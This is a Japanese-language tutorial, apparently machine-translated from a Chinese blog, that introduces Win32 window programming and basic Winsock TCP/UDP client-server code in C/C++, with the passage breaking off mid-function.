(C/C++)Windows プログラミング

Windows プログラミング

1. Windows プログラミングの概要

1.1 Windows プログラミングとは何ですか?

  • Windows プログラミング: Windows API を C++ クラスの形式でカプセル化し、アプリケーション開発者の作業負荷を軽減するアプリケーション フレームワークを組み込みます。
  • 多数の Windows ハンドル カプセル化クラスと、多くの Windows 組み込みコントロールおよびコンポーネント カプセル化クラスが含まれています。プログラムを作成するたびに繰り返す必要があるこれらのことよりも、プログラムのロジックに集中してください。ただし、これは一般的なフレームワークであるため、最適な適合性はありません。
  • C/C++ プログラミング: 少量の機械語と、オペレーティング環境のサポートなしで実行できる高効率プログラミング言語のみを生成します。非常に包括的な演算子と多様なデータ型により、さまざまなデータ構造を容易に構築でき、ポインタ型によりメモリを直接アドレス指定したり、ハードウェアを直接操作したりできるため、システムプログラムの開発にも利用できます。アプリケーションソフト開発用。

1.2 Windows プログラミングを学ぶ必要があるのはなぜですか?

•Windowsアプリケーション開発のニーズを満たす
•アウトソーシング開発のニーズを満たす:ホストコンピュータと組み込みデバイスの組み合わせ
•雇用ニーズ:頭条伝統産業 Sangfor 360セキュリティ産業
•リバース/アンチプラグインの基本

1.3 Windows プログラミングを学ぶ方法

・勉強法

  • 理論をマスターする (1 C++ オブジェクト指向思考とポリモーフィズム、2 Windows メッセージ ループ) msg​​ ループ ウィンドウ ネットワーク システム: プロセスとスレッド
  • ドキュメントのクエリを学習する
  • この URL をブックマークします: https://docs.microsoft.com/zh-cn/ (Microsoft)
  • Googleブラウザクローム
  • 参考教科書:『VC++徹底理解』Sun Xin著 参考文献
  • 参考教科書2:范文清『Windows API開発 機能・インターフェース・プログラミング例徹底解説』

ワークロード環境のインストール
ここに画像の説明を挿入します

コンポーネントリスト
ここに画像の説明を挿入します

1.4 VAのインストールと共通ショートカットキー

• ホットキー

  • ALT+G 定義に移動
  • ALT + SHIFT + F すべての参照を検索
  • ALT + 左矢印/右矢印: 戻る/進む
  • バッチアノテーション

•ハローワールドプロジェクト

2. Windows プログラミングの基礎知識

2.1 完全手書きの初のWin32ウィンドウプログラム

•完全な例

//dos  main
// 
//目的:窗口程序
//1 掌握C++ 面向对象思想 2 理解消息机制 3 多态性
#include <windows.h>
#include <stdio.h>
LPCTSTR clsName = "My";
LPCTSTR msgName = "欢迎学习";


LRESULT CALLBACK MyWinProc(
	HWND hwnd,        // handle to window
	UINT uMsg,        // message identifier
	WPARAM wParam,    // first message parameter word
	LPARAM lParam    // second message parameter long
	);
// a 设计一个窗口类 b 注册窗口类 c创建窗口 d显示以及更新窗口 e 消息循环
	int WINAPI WinMain(
		HINSTANCE hInstance,
		HINSTANCE hPrevInstance,
		LPSTR lpCmdLine,
		int nShowCmd
	)
	{
    
    
		//a 设计一个窗口类

		// 1 定义和配置窗口对象
		WNDCLASS wndcls;
		wndcls.cbClsExtra = NULL;
		wndcls.cbWndExtra = NULL;
		wndcls.hbrBackground = (HBRUSH)GetStockObject(WHITE_BRUSH);
		wndcls.hCursor = LoadCursor(NULL, IDC_ARROW);
		wndcls.hIcon = LoadIcon(NULL, IDI_APPLICATION);
		wndcls.hInstance = hInstance;
		//定义交互响应
		wndcls.lpfnWndProc = MyWinProc;//回调
		//定义窗口代号
		wndcls.lpszClassName = clsName;
		wndcls.lpszMenuName = NULL;
		wndcls.style = CS_HREDRAW | CS_VREDRAW;

		// b 注册窗口类
		RegisterClass(&wndcls);

		//c 创建窗口  
		HWND hwnd;
		hwnd = CreateWindow(clsName, msgName, WS_OVERLAPPEDWINDOW, CW_USEDEFAULT,
			CW_USEDEFAULT, CW_USEDEFAULT, CW_USEDEFAULT, NULL, NULL, hInstance, NULL);

		//d 显示和刷新窗口
		ShowWindow(hwnd, SW_SHOWNORMAL);
		UpdateWindow(hwnd);

		//e 消息循环  GetMessage只有在接收到WM_QUIT才会返回0
		//TranslateMessage 翻译消息 WM_KEYDOWN和WM_KEYUP 合并为WM_CAHR
		MSG msg;
		while (GetMessage(&msg, NULL, NULL, NULL))
		{
    
    
			TranslateMessage(&msg);
			DispatchMessage(&msg);
		}
		return msg.wParam;
		
	}
LRESULT CALLBACK MyWinProc(
	HWND hwnd,        // handle to window
	UINT uMsg,        // message identifier
	WPARAM wParam,    // first message parameter word
	LPARAM lParam    // second message parameter long
)
{
    
    
      //uMsg 消息类型
	  int ret;
	  HDC hdc;
	  switch (uMsg)
	  {
    
    
		 case WM_CHAR: 
			 char szChar[20];
			 sprintf_s(szChar, "您刚才按下了: %c", wParam);
			 MessageBox(hwnd, szChar, "char", NULL);
			 break;

		 case WM_LBUTTONDOWN:
			 MessageBox(hwnd, "检测鼠标左键按下","msg", NULL);
			 break;

		 case WM_PAINT:
			 PAINTSTRUCT ps;
			 hdc = BeginPaint(hwnd, &ps);
			 TextOut(hdc, 0, 0, "www.baidu.com", strlen("www.baidu.com"));
			 EndPaint(hwnd, &ps);
			 MessageBox(hwnd, "重绘", "msg", NULL);
			 break;

		 case WM_CLOSE:
			 ret = MessageBox(hwnd, "是否真的结束?", "msg", MB_YESNO);
			 if (ret == IDYES)
			 {
    
    
				 DestroyWindow(hwnd);
			 }
			 break;

		 case WM_DESTROY:
			 PostQuitMessage(0);
			 break;

		 default:
			 return DefWindowProc(hwnd, uMsg, wParam, lParam);
	  }
	  return 0;
}

・プログラム骨子

int WinMain(){
    
    
    // 设计窗口外观及交互响应,注册,申请专利
    RegisterClass(...)
    // 生产窗口
    CreateWindow(...)
    // 展示窗口
    ShowWindow(...)
    // 粉刷窗口
    UpdateWindow(...)
    // 进入消息循环
    while (GetMessage(...)) {
    
    
         // 消息转换
        TranslateMessage(...);
        // 消息分发
        DispatchMessage(...);
    }
}

2.2 APIとSDK

  • アプリケーション プログラミング インターフェイス アプリケーション プログラミング インターフェイス。
  • ソフトウェア開発キット ソフトウェア開発キットには通常、API インターフェイス ドキュメント、サンプル ドキュメント、ヘルプ ドキュメント、ユーザー マニュアル、関連ツールなどが含まれています。

2.3 ウィンドウとハンドル/ウィンドウ クラス オブジェクト

  • ウィンドウは、ユーザーからの入力を受け取り、プログラムの出力を表示する画面上の領域です。タイトル バー、メニュー バー、ツールバー、コントロールなどを含めることができます。
    ここに画像の説明を挿入します
  • C++ ウィンドウ クラス オブジェクト Cwnd Mywnd; m_wnd
  • ハンドル (リソース番号、セカンダリ ポインタ、ドア ハンドル)、ウィンドウ ハンドル、ファイル ハンドル、データベース接続ハンドル。
  • C++ ウィンドウ クラス オブジェクトとウィンドウは同じものではありません。これらの唯一の関係は、ウィンドウ ハンドル変数が C++ ウィンドウ クラス オブジェクト内で定義され、この C++ ウィンドウ クラス オブジェクトに関連するウィンドウのハンドルが格納されることです。ウィンドウが破棄されると、対応する C++ ウィンドウ クラス オブジェクトが破棄されるかどうかは、そのライフ サイクルが終了したかどうかによって決まります。ただし、C++ ウィンドウ クラス オブジェクトが破棄されると、それに関連するウィンドウも破棄されます。
    1. ライフサイクル ウィンドウ クラス オブジェクト サイクル ウィンドウ
    2. m_wnd はウィンドウ クラス内で内部的に定義されます

2.4 メッセージループ

・銀行シーン
ここに画像の説明を挿入します

•Windowsメッセージループ
ここに画像の説明を挿入します

2.5 Windowsのデータ型

  • Unicode は世界共通の文字エンコーディング標準であり、16 ビット データを使用して文字を表現し、合計 65,535 文字を表現できます。
  • ASNI 文字セットは、8 ビット データを使用するか、2 つの隣接する 8 ビット データを組み合わせて特殊言語文字を表します。バイトが負の場合、次のバイトが結合されて文字を表します。このエンコーディングの文字セットは、「マルチバイト」文字セットとも呼ばれます。
  • DWORD 32 バイトの符号なし整数データ
  • DWORD32 32 バイトの符号なし整数データ
  • DWORD64 64 バイトの符号なし整数データ
  • HANDLE オブジェクト ハンドル、最も基本的なハンドル タイプ
  • HICONアイコンハンドル
  • HINSTANCE プログラム インスタンスへのハンドル
  • レジストリ キーの HKEY ハンドル
  • モジュールへの HMODULE ハンドル
  • HWNDウィンドウハンドル
  • INT 32 ビット符号付き整数データ型
  • INT_PTR INT型データを指すポインタ型
  • INT32 32 ビット符号付き整数型
  • INT64 64 ビット符号付き整数型
  • LONG32 32 ビット符号付き整数型
  • LONG64 64 ビット符号付き整数型
  • LPARAM メッセージの L パラメータ
  • WPARAM メッセージの W パラメータ
  • LPCSTR Windows、ANSI、文字列定数
  • LPCTSTR は環境に応じて設定されます。UNICODE マクロが定義されている場合は LPCWSTR 型になり、それ以外の場合は LPCSTR 型になります。
  • LPCWSTR UNICODE 文字列定数
  • DWORD 型データへの LPDWORD ポインタ
  • LPSTR ウィンドウ、ANSI、文字列変数
  • LPTSTRは環境に応じて設定され、UNICODEが定義されている場合はLPWSTR型、そうでない場合はLPSTR型となります。
  • LPWSTR UNICODE 文字列変数
  • SIZE_T はメモリ サイズをバイト単位で表し、その最大値は CPU の最大アドレス範囲になります。
  • TCHAR UNICODE が定義されている場合は WCHAR、それ以外の場合は CHAR
  • WCHAR 16 ビット Unicode 文字

ここに画像の説明を挿入します

3 ネットワークプログラミング

3.1 ネットワークプログラミングの基本概念

3.1.1 ソケットの概念

ここに画像の説明を挿入します

3.1.2 C/Sモードとは

ここに画像の説明を挿入します

3.1.3 コネクション指向とメッセージ指向とは

ここに画像の説明を挿入します
ここに画像の説明を挿入します

3.1.4 IP アドレスとポート

Win +R
//HTTP IP TCP
ここに画像の説明を挿入します

3.2 ソケットの種類とプロトコルの設定

  • SOCK_STREAM [ストリーム ソケット] TCP
    接続指向の信頼性の高いデータ送信は、大量のデータの送信に適しており、ブロードキャストやマルチキャストはサポートしていません。
  • SOCK_DGRAM [パケットソケット] UDP
    コネクションレスはブロードキャストとマルチキャストをサポートします
  • SOCK_RAW [生のソケット] は、
    カーネルによって処理されない IP データグラムを読み書きできます。
  • TCP/IP 処理メカニズムを回避し、送信されたデータグラムを必要とするアプリケーションに直接送信できます
    - ヘッダー ファイル winsock2.h を参照します
    - ws2_32.lib ライブラリをインポートします -
    Windows でのソケット プログラミングは最初に Winsock を初期化する必要があります

3.3 ネットワークプログラミングの基本機能と基本データ構造

ここに画像の説明を挿入します

データ構造体
struct sockaddr { u_short sa_family; //16 ビットアドレス型 2 バイトchar sa_data[14]; //14 バイトアドレスデータ: ip + port };


struct sockaddr_in { short sin_family; //16 ビットのアドレス型u_short sin_port; //16 ビットのポート番号 65535 2 の 16 乗struct in_addr sin_addr; //32 ビットの IP アドレス 4 バイトchar sin_zero[8]; // 8 ワードのセクション パディング};




3.4 TCPベースのサーバー/クライアント

3.4.1 TCPソケット

ここに画像の説明を挿入します

•サーバ

//简例
#include <WinSock2.h>
#include <iostream>
#pragma comment(lib, "ws2_32.lib")

int main()
{
    
    
    // 加载套接字库
    WORD wVersionRequested;
    WSADATA wsaData;
    int err;

    wVersionRequested = MAKEWORD(1,1);
    // 初始化套接字库
    err = WSAStartup(wVersionRequested, &wsaData);
    if (err != 0)
    {
    
    
        return err;
    }

    if (LOBYTE(wsaData.wVersion) != 1 || HIBYTE(wsaData.wVersion) != 1)
    {
    
    
        WSACleanup();
        return -1;
    }
    // 新建套接字
    SOCKET sockSrv = socket(AF_INET, SOCK_STREAM, 0);

    SOCKADDR_IN addrSrv;
    addrSrv.sin_addr.S_un.S_addr = htonl(INADDR_ANY);
    addrSrv.sin_family = AF_INET;
    addrSrv.sin_port = htons(6000);
    
    // 绑定套接字到本地IP地址,端口号6000
    bind(sockSrv, (SOCKADDR*)& addrSrv, sizeof(SOCKADDR));

    // 开始监听
    listen(sockSrv, 5);

    SOCKADDR_IN addrCli;
    int len = sizeof(SOCKADDR);

    while (true)
    {
    
    
        // 接收客户连接
        SOCKET sockConn = accept(sockSrv, (SOCKADDR*)& addrCli, &len);
        char sendBuf[100];
        sprintf_s(sendBuf, 100, "Welcome %s to C++!", inet_ntoa(addrCli.sin_addr));
        //发送数据
        send(sockConn, sendBuf, strlen(sendBuf) + 1, 0);
        char recvBuf[100];
        //接收数据
        recv(sockConn, recvBuf, 100, 0);
        //打印接收的数据
        std::cout << recvBuf << std::endl;
        closesocket(sockConn);
    }
    
    closesocket(sockSrv);
    WSACleanup();

    return 0;
}
#include <WinSock2.h>
#include <stdio.h>
#include <stdlib.h>

#pragma comment(lib, "ws2_32.lib")

int main()
{
    
    
	printf("Server\n");
	//1 初始化网络库
	 // 加载套接字库
	WORD wVersionRequested;
	WSADATA wsaData;
	int err;

	wVersionRequested = MAKEWORD(2, 2);
	// 1、初始化套接字库
	err = WSAStartup(wVersionRequested, &wsaData);
	if (err != 0)
	{
    
    
		printf("WSAStartup errorNum = %d\n", GetLastError());
		return err;
	}

	if (LOBYTE(wsaData.wVersion) != 2 || HIBYTE(wsaData.wVersion) != 2)
	{
    
    
		printf("LOBYTE errorNum = %d\n", GetLastError());
		WSACleanup();
		return -1;
	}
	// 2 安装电话机
	 // 新建套接字
	SOCKET sockSrv = socket(AF_INET, SOCK_STREAM, 0);
	if (INVALID_SOCKET == sockSrv)
	{
    
    
		printf("socket errorNum = %d\n", GetLastError());
		return -1;
	}
	//给变量配置电话号码 IP 任何  端口6000
	SOCKADDR_IN addrSrv;
	addrSrv.sin_addr.S_un.S_addr = htonl(INADDR_ANY);
	addrSrv.sin_family = AF_INET;
	addrSrv.sin_port = htons(6000);
	// 3 分配电话号码
	 // 绑定套接字到本地IP地址,端口号6000
	if (SOCKET_ERROR == bind(sockSrv, (SOCKADDR*)&addrSrv, sizeof(SOCKADDR)))
	{
    
    
		printf("bind errorNum = %d\n", GetLastError());
		return -1;
	}

	// 4、监听 listen
	if (SOCKET_ERROR == listen(sockSrv, 5))
	{
    
    
		printf("listen errorNum = %d\n", GetLastError());
		return -1;
	}

	// 5、拿起话筒,准备通话
	SOCKADDR_IN addrCli;
	int len = sizeof(SOCKADDR);

	while (TRUE)
	{
    
    
		//6、分配一台分机去服务
		SOCKET sockConn = accept(sockSrv, (SOCKADDR*)&addrCli, &len);
		char sendBuf[100] = {
    
     0 };
		sprintf_s(sendBuf, 100, "Welcome %s to C++!", inet_ntoa(addrCli.sin_addr));
		//发送数据
		int iLen = send(sockConn, sendBuf, strlen(sendBuf) + 1, 0);
		if (iLen < 0)
		{
    
    
			printf("send errorNum = %d\n", GetLastError());
			return -1;
		}
		char recvBuf[100] = {
    
    0};
		//接收数据
		iLen = recv(sockConn, recvBuf, 100, 0);
		if (iLen < 0)
		{
    
    
			printf("recv errorNum = %d\n", GetLastError());
			return -1;
		}
		//打印接收的数据
		printf("recvBuf = %s\n", recvBuf);
		closesocket(sockConn);
	}
	//7 关闭总机
	closesocket(sockSrv);
	WSACleanup();
	system("pause");
	return 0;
}

•クライアント

#include <WinSock2.h>
#include <iostream>

#pragma comment(lib, "ws2_32.lib")

int main()
{
    
    
    char sendBuf[] = "hello,world";
    WORD wVersion;
    WSADATA wsaData;
    int err;

    wVersion = MAKEWORD(1, 1);
    err = WSAStartup(wVersion, &wsaData);
    if (err != 0)
    {
    
    
        return err;
    }
    if (LOBYTE(wsaData.wVersion) != 1 || HIBYTE(wsaData.wVersion) != 1)
    {
    
    
        WSACleanup();
        return -1;
    }

    // 创建套接字
    SOCKET sockCli = socket(AF_INET, SOCK_STREAM, 0);

    SOCKADDR_IN addrSrv;
    addrSrv.sin_addr.S_un.S_addr = inet_addr("127.0.0.1");
    addrSrv.sin_family = AF_INET;
    addrSrv.sin_port = htons(6000);

    //向服务器发起连接请求
    connect(sockCli, (SOCKADDR*)& addrSrv, sizeof(SOCKADDR));
    
    // 接收数据
    char recvBuf[100];
    recv(sockCli, recvBuf, 100, 0);
    std::cout << recvBuf << std::endl;

    // 发送数据
    send(sockCli, sendBuf, strlen(sendBuf) + 1, 0);

    // 关闭套接字
    closesocket(sockCli);
    WSACleanup();
    
    // 暂停
    system("pause");
    return 0;
}
#include <WinSock2.h>
#include <stdio.h>
#include <stdlib.h>

#pragma comment(lib, "ws2_32.lib")

int main()
{
    
    
	printf("Client\n");
	char sendBuf[] = "hello,world";
	//1 初始化网络库
	 // 加载套接字库
	WORD wVersionRequested;
	WSADATA wsaData;
	int err;

	wVersionRequested = MAKEWORD(2, 2);
	// 1、初始化套接字库
	err = WSAStartup(wVersionRequested, &wsaData);
	if (err != 0)
	{
    
    
		printf("WSAStartup errorNum = %d\n", GetLastError());
		return err;
	}

	if (LOBYTE(wsaData.wVersion) != 2 || HIBYTE(wsaData.wVersion) != 2)
	{
    
    
		printf("LOBYTE errorNum = %d\n", GetLastError());
		WSACleanup();
		return -1;
	}
	// 2 安装电话机
	 // 新建套接字
	SOCKET sockCli = socket(AF_INET, SOCK_STREAM, 0);
	if (INVALID_SOCKET == sockCli)
	{
    
    
		printf("socket errorNum = %d\n", GetLastError());
		return -1;
	}
	SOCKADDR_IN addrSrv;
	addrSrv.sin_addr.S_un.S_addr = inet_addr("192.168.8.253");
	addrSrv.sin_family = AF_INET;
	addrSrv.sin_port = htons(6000);

	// 3 连接服务器
	if (SOCKET_ERROR == connect(sockCli, (SOCKADDR*)&addrSrv, sizeof(SOCKADDR)))
	{
    
    
		printf("connect errorNum = %d\n", GetLastError());
		return -1;
	}
	// 4 接收和发送数据
	char recvBuf[100] = {
    
    0};
	int iLen = recv(sockCli, recvBuf, 100, 0);
	if (iLen < 0)
	{
    
    
		printf("recv errorNum = %d\n", GetLastError());
		return -1;
	}
	printf("Client recvBuf = %s\n", recvBuf);

	// 发送数据
	iLen = send(sockCli, sendBuf, strlen(sendBuf) + 1, 0);
	if (iLen < 0)
	{
    
    
		printf("send errorNum = %d\n", GetLastError());
		return -1;
	}
	// 关闭套接字
	closesocket(sockCli);
	WSACleanup();
	system("pause");
	return 0;
}

3.4.2 UDPソケット

UDPソケット
ここに画像の説明を挿入します

•サーバ

#include <WinSock2.h>
#include <iostream>

#pragma comment(lib, "ws2_32.lib")
int main()
{
    
    
    // 初始化套接字库
    WORD wVersion;
    WSADATA wsaData;
    int err;

    wVersion = MAKEWORD(1, 1);
    err = WSAStartup(wVersion, &wsaData);
    if (err != 0)
    {
    
    
        return err;
    }

    if (LOBYTE(wsaData.wVersion) != 1 || HIBYTE(wsaData.wVersion) != 1)
    {
    
    
        WSACleanup();
        return -1;
    }

    // 创建套接字
    SOCKET sockSrv = socket(AF_INET, SOCK_DGRAM, 0);

    SOCKADDR_IN addrSrv;
    addrSrv.sin_addr.S_un.S_addr = htonl(INADDR_ANY);
    addrSrv.sin_family = AF_INET;
    addrSrv.sin_port = htons(6001);

    // 绑定套接字
    bind(sockSrv, (SOCKADDR*)&addrSrv, sizeof(SOCKADDR));

    // 等待并接收数据
    SOCKADDR_IN addrCli;
    int len = sizeof(SOCKADDR_IN);

    char recvBuf[100];
    char sendBuf[100];
    while (true)
    {
    
    
        recvfrom(sockSrv, recvBuf, 100, 0, (SOCKADDR*)&addrCli, &len);
        std::cout << recvBuf << std::endl;

        sprintf_s(sendBuf, 100, "Ack %s", recvBuf);
        sendto(sockSrv, sendBuf, strlen(sendBuf) + 1, 0, (SOCKADDR*)&addrCli, len);
    }

    closesocket(sockSrv);
    WSACleanup();

    system("pause");
    return 0;
}

•クライアント

#include <WinSock2.h>
#include <iostream>

#pragma comment(lib, "ws2_32.lib")
int main()
{
    
    
    // 加载套接字库

    WORD wVersion;
    WSADATA wsaData;
    int err;
    wVersion = MAKEWORD(1, 1);
    err = WSAStartup(wVersion, &wsaData);
    if (err != 0)
    {
    
    
        return err;
    }
    if (LOBYTE(wsaData.wVersion) != 1 || HIBYTE(wsaData.wVersion) != 1)
    {
    
    
        WSACleanup();
        return -1;
    }

    // 创建套接字
    SOCKET sockCli = socket(AF_INET, SOCK_DGRAM, 0);
    SOCKADDR_IN addrSrv;
    addrSrv.sin_addr.S_un.S_addr = inet_addr("127.0.0.1");
    addrSrv.sin_port = htons(6001);
    addrSrv.sin_family = AF_INET;

    int len = sizeof(SOCKADDR);
    char sendBuf[] = "hello";
    char recvBuf[100];

    //发送数据
    sendto(sockCli, sendBuf, strlen(sendBuf) + 1, 0, (SOCKADDR*)& addrSrv, len);

    recvfrom(sockCli, recvBuf, 100, 0, (SOCKADDR*)& addrSrv, &len);

    std::cout << recvBuf << std::endl;

    closesocket(sockCli);

    system("pause");
    return 0;
}

3.4.3 TCPとUDPについてのまとめ

ここに画像の説明を挿入します

4 高度なネットワークプログラミング

4.1 listen の具体的な意味

監視 5 は、同時に監視できるクライアントの最大数を示します。

include <WinSock2.h>
#include <stdio.h>
#include <stdlib.h>

#pragma comment(lib, "ws2_32.lib")

int main()
{
    
    
	printf("Server\n");
	//1 初始化网络库
	 // 加载套接字库
	WORD wVersionRequested;
	WSADATA wsaData;
	int err;

	wVersionRequested = MAKEWORD(2, 2);
	// 1、初始化套接字库
	err = WSAStartup(wVersionRequested, &wsaData);
	if (err != 0)
	{
    
    
		printf("WSAStartup errorNum = %d\n", GetLastError());
		return err;
	}

	if (LOBYTE(wsaData.wVersion) != 2 || HIBYTE(wsaData.wVersion) != 2)
	{
    
    
		printf("LOBYTE errorNum = %d\n", GetLastError());
		WSACleanup();
		return -1;
	}
	// 2 安装电话机
	 // 新建套接字
	SOCKET sockSrv = socket(AF_INET, SOCK_STREAM, 0);
	if (INVALID_SOCKET == sockSrv)
	{
    
    
		printf("socket errorNum = %d\n", GetLastError());
		return -1;
	}
	//给变量配置电话号码 IP 任何  端口6000
	SOCKADDR_IN addrSrv;
	addrSrv.sin_addr.S_un.S_addr = htonl(INADDR_ANY);
	addrSrv.sin_family = AF_INET;
	addrSrv.sin_port = htons(6000);
	// 3 分配电话号码
	 // 绑定套接字到本地IP地址,端口号6000
	if (SOCKET_ERROR == bind(sockSrv, (SOCKADDR*)&addrSrv, sizeof(SOCKADDR)))
	{
    
    
		printf("bind errorNum = %d\n", GetLastError());
		return -1;
	}

	// 4、监听 listen  最大的监听数目 ,执行到listen,单尚未执行到accept
	if (SOCKET_ERROR == listen(sockSrv, 5))
	{
    
    
		printf("listen errorNum = %d\n", GetLastError());
		return -1;
	}
	Sleep(20000);
	// 5、拿起话筒,准备通话
	SOCKADDR_IN addrCli;
	int len = sizeof(SOCKADDR);
	printf("20 s\n");
	while (TRUE)
	{
    
    
		//6、分配一台分机去服务
		SOCKET sockConn = accept(sockSrv, (SOCKADDR*)&addrCli, &len);
		char sendBuf[100] = {
    
     0 };
		sprintf_s(sendBuf, 100, "Welcome %s to C++!", inet_ntoa(addrCli.sin_addr));
		//发送数据
		int iLen = send(sockConn, sendBuf, strlen(sendBuf) + 1, 0);
		if (iLen < 0)
		{
    
    
			printf("send errorNum = %d\n", GetLastError());
			return -1;
		}
		char recvBuf[100] = {
    
    0};
		//接收数据
		iLen = recv(sockConn, recvBuf, 100, 0);
		if (iLen < 0)
		{
    
    
			printf("recv errorNum = %d\n", GetLastError());
			return -1;
		}
		//打印接收的数据
		printf("recvBuf = %s\n", recvBuf);
		closesocket(sockConn);
	}
	//7 关闭总机
	closesocket(sockSrv);
	WSACleanup();
	system("pause");
	return 0;
}

4.2 よりエレガントな受信と送信: 非常に大きなデータの送信

int MySocketRecv0(int sock, char* buf, int dateSize)
{
    
    
	//循环接收
	int numsRecvSoFar = 0;
	int numsRemainingToRecv = dateSize;
	printf("enter MySocketRecv0\n");
	while (1)
	{
    
    
		int bytesRead = recv(sock, &buf[numsRecvSoFar], numsRemainingToRecv, 0);
		printf("###bytesRead = %d,numsRecvSoFar = %d, numsRemainingToRecv = %d\n",
			bytesRead, numsRecvSoFar, numsRemainingToRecv);
		if (bytesRead == numsRemainingToRecv)
		{
    
    
			return 0;
		}
		else if (bytesRead > 0)
		{
    
    
			numsRecvSoFar += bytesRead;
			numsRemainingToRecv -= bytesRead;
			continue;
		}
		else if ((bytesRead < 0) && (errno == EAGAIN))
		{
    
    
			continue;
		}
		else
		{
    
    
			return -1;
		}
	}
}

int MySocketSend0(int socketNum, unsigned char* data, unsigned dataSize)
{
    
    
	unsigned numBytesSentSoFar = 0;
	unsigned numBytesRemainingToSend = dataSize;

	while(1)
	{
    
    
		int bytesSend = send(socketNum, (char const*)(&data[numBytesSentSoFar]), numBytesRemainingToSend, 0/*flags*/);
		if(bytesSend == numBytesRemainingToSend)
		{
    
    
			return 0;
		}
		else if(bytesSend > 0)
		{
    
    
			numBytesSentSoFar += bytesSend;
			numBytesRemainingToSend -= bytesSend;
			continue;
		}
		else if((bytesSend < 0)&&(errno == 11))
		{
    
    
			continue;
		}
		else
		{
    
    
			return -1;
		}
	}
}

サーバーコード:

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <arpa/inet.h>
#include <sys/socket.h>

#define BUF_SIZE 1024*1024
void error_handling(char *message);

int main(int argc, char *argv[])
{
    
    
	int serv_sock, clnt_sock;
	char message[BUF_SIZE];
	int str_len, i;
	
	struct sockaddr_in serv_adr;
	struct sockaddr_in clnt_adr;
	socklen_t clnt_adr_sz;
	
	if(argc!=2) {
    
    
		printf("Usage : %s <port>\n", argv[0]);
		exit(1);
	}
	//安装电话机
	serv_sock=socket(PF_INET, SOCK_STREAM, 0);   
	if(serv_sock==-1)
		error_handling("socket() error");
	
	memset(&serv_adr, 0, sizeof(serv_adr));
	serv_adr.sin_family=AF_INET;
	serv_adr.sin_addr.s_addr=htonl(INADDR_ANY);
	serv_adr.sin_port=htons(atoi(argv[1]));
	printf("bingdu fuwuqi \n");
	//分配电话号
	if(bind(serv_sock, (struct sockaddr*)&serv_adr, sizeof(serv_adr))==-1)
		error_handling("bind() error");
	//开始监听
	if(listen(serv_sock, 5)==-1)
		error_handling("listen() error");
	
	clnt_adr_sz=sizeof(clnt_adr);

	for(i=0; i<1000; i++)
	{
    
    
		clnt_sock=accept(serv_sock, (struct sockaddr*)&clnt_adr, &clnt_adr_sz);
		if(clnt_sock==-1)
			error_handling("accept() error");
		else
			printf("Connected client %d \n", i+1);
	
		while((str_len=read(clnt_sock, message, BUF_SIZE))!=0)
		{
    
    
			write(clnt_sock, message, str_len);
			printf("str_len = %d\n",str_len);
		}

		close(clnt_sock);
	}

	close(serv_sock);
	return 0;
}

void error_handling(char *message)
{
    
    
	fputs(message, stderr);
	fputc('\n', stderr);
	exit(1);
}

クライアント:

#include <stdio.h>
#include <stdlib.h>
#include <winsock2.h>
#include <windows.h>
#include <time.h>
#include <string>

#pragma comment(lib,"ws2_32.lib")

void ErrorHandling(char* message);

#define MAX_ARRAYSIZE (1024*1024*10)
char message[MAX_ARRAYSIZE];

int MySocketRecv0(int sock, char* buf, int dateSize)
{
    
    
	//循环接收
	int numsRecvSoFar = 0;
	int numsRemainingToRecv = dateSize;
	printf("enter MySocketRecv0\n");
	while (1)
	{
    
    
		int bytesRead = recv(sock, &buf[numsRecvSoFar], numsRemainingToRecv, 0);
		printf("###bytesRead = %d,numsRecvSoFar = %d, numsRemainingToRecv = %d\n",
			bytesRead, numsRecvSoFar, numsRemainingToRecv);
		if (bytesRead == numsRemainingToRecv)
		{
    
    
			return 0;
		}
		else if (bytesRead > 0)
		{
    
    
			numsRecvSoFar += bytesRead;
			numsRemainingToRecv -= bytesRead;
			continue;
		}
		else if ((bytesRead < 0) && (errno == EAGAIN))
		{
    
    
			continue;
		}
		else
		{
    
    
			return -1;
		}
	}
}

int getCurrentTimeStr(char* strtime)
{
    
    
	// 基于当前系统的当前日期/时间
	time_t now = time(NULL);
	tm* ltm = localtime(&now);
	sprintf(strtime, "%2d:%2d:%2d ", ltm->tm_hour, ltm->tm_min, ltm->tm_sec);
	return 0;
}

void initArray(char c)
{
    
    
	int i = 0;
	for (i = 0;i < MAX_ARRAYSIZE; i++)
	{
    
    
		message[i] = c;
	}
}

int ClientConnect()
{
    
    
	WSADATA wsaData;
	SOCKET hSocket;
	SOCKADDR_IN servAddr;

	int strLen;
	char ch[64] = {
    
     0 };
	initArray('c');

	printf("client \n");
	if (WSAStartup(MAKEWORD(2, 2), &wsaData) != 0)
		ErrorHandling("WSAStartup() error!");

	hSocket = socket(PF_INET, SOCK_STREAM, 0);//AF_ISO
	if (hSocket == INVALID_SOCKET)
		ErrorHandling("socket() error");
	getCurrentTimeStr(ch);
	printf("begin connect %s\n", ch);
	memset(&servAddr, 0, sizeof(servAddr));
	servAddr.sin_family = AF_INET;
	servAddr.sin_addr.s_addr = inet_addr("111.231.75.168");//"111.231.75.168"
	servAddr.sin_port = htons(9527); //

	if (connect(hSocket, (SOCKADDR*)&servAddr, sizeof(servAddr)) == SOCKET_ERROR)
	{
    
    
		ErrorHandling("connect() error!");
	}

	getCurrentTimeStr(ch);
	printf("after connect %s\n", ch);

	strLen = send(hSocket, message, sizeof(message) - 1, 0);
	printf("after send %d\n", strLen);
	int ret = MySocketRecv0(hSocket, message, sizeof(message) - 1);
	printf("Message from server: ,ret = %d\n", ret);
	if (strLen == -1)
		ErrorHandling("read() error!");
// 	strLen = recv(hSocket, message, sizeof(message) - 1, 0);
// 	printf("Message from server: ,strLen = %d\n", strLen);
	getCurrentTimeStr(ch);
	printf("after recv %s\n", ch);
	//printf("Message from server: %s ,strLen = %d\n", message ,strLen);  
	//printf("Message from server: ,strLen = %d\n", strLen);
	closesocket(hSocket);
	WSACleanup();
	//	system("pause");
	return 0;
}
//basic
#if 0
int main()
{
    
    
	// 1、初始化网络库
	WSADATA wsaData;
	if (WSAStartup(MAKEWORD(2, 2), &wsaData) != 0)
		ErrorHandling("WSAStartup() error!");
	SOCKET hSocket;
	SOCKADDR_IN servAddr;
	char message[30] = "hello,C++";
	int strLen;
	printf("client\n");
	//2 安装一部电话机
	hSocket = socket(PF_INET, SOCK_STREAM, 0);
	if (hSocket == INVALID_SOCKET)
		ErrorHandling("socket() error");

	memset(&servAddr, 0, sizeof(servAddr));
	servAddr.sin_family = AF_INET;
	servAddr.sin_addr.s_addr = inet_addr("111.231.75.168");//192.168.0.112
	servAddr.sin_port = htons(9527);
